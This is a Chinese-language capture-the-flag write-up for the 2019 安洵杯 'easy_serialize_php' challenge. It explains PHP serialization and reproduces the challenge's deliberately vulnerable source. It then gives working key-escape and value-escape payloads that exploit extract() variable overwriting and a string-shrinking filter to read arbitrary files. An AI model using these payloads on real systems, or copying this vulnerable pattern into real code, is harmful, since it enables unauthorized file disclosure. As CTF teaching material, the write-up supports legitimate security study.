[安洵杯 2019]easy_serialize_php
- 試題地址:https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php
這篇主要知識點:
- 鍛煉php代碼審計能力和學習
- php反序列化
- 反序列化中的物件逃逸(這個是真的自己對著php在線工具分析了很久,才弄懂,你看完肯定有所識訓)
首先明確幾個點:
- 序列化后的結果是一串字串
- 反序列化會解開序列化的字串生成相應型別的資料
如下代碼示例(大佬博客截取):
<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#輸出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
$b = unserialize($a);
var_dump($b);
/*輸出如下內容:
array(2) {
["one"]=>
string(4) "flag"
["two"]=>
string(4) "test"
}
*/
序列化的部分:
經過serialize序列化后生成了相應的字串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示陣列 , a:2中的2表示有兩個鍵值,即對應的one、two兩組鍵值對,
花括號中的s都表示string即字串,
s:后面的值分別是3、4、3、4,即對應的字串長度,比如one長度是三,flag長度是4
反序列化的部分:
unserialize函式將字串解序列化,我們用var_dump函式顯示了他的詳細資訊,
可見解序列化后由變數$b,接收了img陣列,
序列化中每個字母的表示:
| a | array陣列 |
|---|---|
| b | boolean判斷型別 |
| d | double浮點數 |
| i | integer整數型 |
| o | common object 一般的物件 |
| r | reference參考型別 |
| s | string字串型別 |
| C | custom object |
| O | class |
| N | null |
| R | pointer reference |
| U | unicode string |
現在我們進入試題地址,打開之后出現一段原始碼:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="https://www.cnblogs.com/tzf1/p/index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我們大概看了一下,發現了這樣一段代碼:
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
這個$function就是$function = @$_GET['f']; 從url中 f 輸入的變數
意思是如果 $function == 'phpinfo' ,我們就可以執行下面的陳述句查看phpinfo()
我們嘗試訪問phpinfo頁面:
index.php?f=phpinfo

會發現這里有一個d0g3_flag.php檔案,我們需要的flag應該就在里面,所以我們接下來需要讀取這個檔案就行,
我把接下來用到的代碼放到了這里:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
/*
我們發現unset函式將$_SESSION變數銷毀了,然后重新賦予了$_SESSION新的值,
最后呼叫了extract($_POST);
*/
extract() 函式從陣列中將變數匯入到當前的符號表,
參考鏈接:https://www.w3school.com.cn/php/func_array_extract.asp
- 舉例extract()變數覆寫:
根據extract()我們可以進行變數覆寫,
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失,
只剩下_SESSION[flag]=123,
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

我們接著往下看:
知道了變數符改,我們可以干什么呢,往下看叭,
由于有了如下的代碼,我們直接進行變數覆寫,直接給$SESSION['img']一個預想的值是不現實的,
因為$SESSION['img'] = base64_encode('guest_img.png')是在extract($_POST);這個函式之后執行的,
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
所以我們看看另一個方向:fileter函式
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
#這部分代碼就是將引數$img里面的跟上面陣列里的字串替換成空'',然后回傳替換之后的字串
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
后面看看大佬的WP:
大佬們都用的是鍵值對逃逸
這里我介紹一下php反序列化的物件逃逸
任何具有一定結構的資料,只要經過了某些處理而把自身結構改變,則可能產生漏洞,
過濾函式分為兩種情況:
第一種為關鍵詞數增加
? 例如: where->hacker,這樣詞數由五個增加到6個,
第二種為關鍵詞數減少
? 例如:直接過濾掉一些關鍵詞,例如這道題目中,
? 過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
? 那么我們有兩種方法:
鍵逃逸和值逃逸:
第一種為關鍵詞數增加
例如: where->hacker,這樣詞數由五個增加到6個,
第二種為關鍵詞數減少
例如:直接過濾掉一些關鍵詞,例如這道題目中,
過濾函式filter()是對serialize($_SESSION)進行過濾,濾掉一些關鍵字
那么我們有兩種方法:
鍵逃逸和值逃逸
原理:因為序列化吼的字串是嚴格的,對應的格式不能錯,比如s:4:"name",那s:4就必須有一個字串長 度是4的否則就往后要,
并且unserialize會把多余的字串當垃圾處理,在花括號內的就是正確的,花括號后面的就都被扔掉,
示例:
<?php
#正規序列化的字串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#帶有多余的字符的字串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"這些會被扔掉
我們有了這個逃逸概念的話,就大概可以理解了,如果我們把
$_SESSION['img'] = base64_encode('guest_img.png');這段代碼的img屬性放到花括號外邊去,
然后花括號中注好新的img屬性,那么他本來要求的img屬性就被咱們替換了,
那如何達到這個目的就要通過過濾函式了,因為咱的序列化的是個字串啊,然后他又把黑名單的東西替換成 空,
鍵逃逸payload:
這兒只需要一個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我來解釋一下這個payload
我們知道_SESSION這個陣列里面目前是有兩個字串的,一個是我們通過POST方式傳上去的'phpflag',還有一個就是'img'
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
/* 這段代碼會判斷我們通過GET方式傳入的變數是不是有'img_path'這個字串,如果沒有就會執行陳述句將'guest_img.png'這個字串經過base64加密存入$_SESSION['img']里面,毫無疑問我們通過GET上傳的f=show_image,因為我們要進入一下代碼執行反序列化函式啊!*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
_SESSION這個陣列目前是這樣的:
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
#一個我們通過POST方式傳上去,一個代碼內部自動添加的
然后我們看看$_SESSION接下來會怎么執行陳述句:
$serialize_info = filter(serialize($_SESSION));
/*首先會先將$_SESSION序列化之后經過filter函式
filter函式會將phpflag替換成'',然后回傳結果賦值給$serialize_info
接下來我們看看$serialize_info變數去哪了
*/
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
/*沒錯到了這里,先將$serialize_info反序列化賦值給$userinfo,然后去$userinfo里面’img'鍵對應的值就是d0g3_f1ag.php,
這里我附上代碼運行程序:
<?php
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo['img']));
?>
#注意:里面的\是為了將"轉義,
上面我說明一下$userinfo每個引數對應的什么:
目前里面有兩個鍵值對:
$userinfo['";s:48:'']="1"
$userinfo['img']="ZDBnM19mMWFnLnBocA=="
/*
ZDBnM19mMWFnLnBocA==經過base64解碼之后就是d0g3_f1ag.php
就是 ";s:48:-->1
img -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7個字串,對應上面$serialize_info里面那個7,7代表后面字 符串長度為7
*/
運行結果:
string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
d0g3_f1ag.php
運行截圖:

我們通過echo (base64_decode($userinfo['img']));這一步得到了d0g3_f1ag.php
然后就會通過echo file_get_contents(base64_decode($userinfo['img']));這個函式將d0g3_f1ag.php里面內容讀取,


d0g3_f1ag.php這個里面的內容就是這樣一段代碼:
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
然后我們將d0g3_fllllllag經過base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替換上面的就好,
得到flag:

上面是通過鍵逃逸的方式,好像還有一種值逃逸的繞過方法,這里我就不做演示了,附上payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
寫這個加上自己去網上測驗payload,一句一句的分析,還是弄了蠻久的,希望能幫到大家!
? 太菜了太菜了!!!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289034.html
標籤:其他
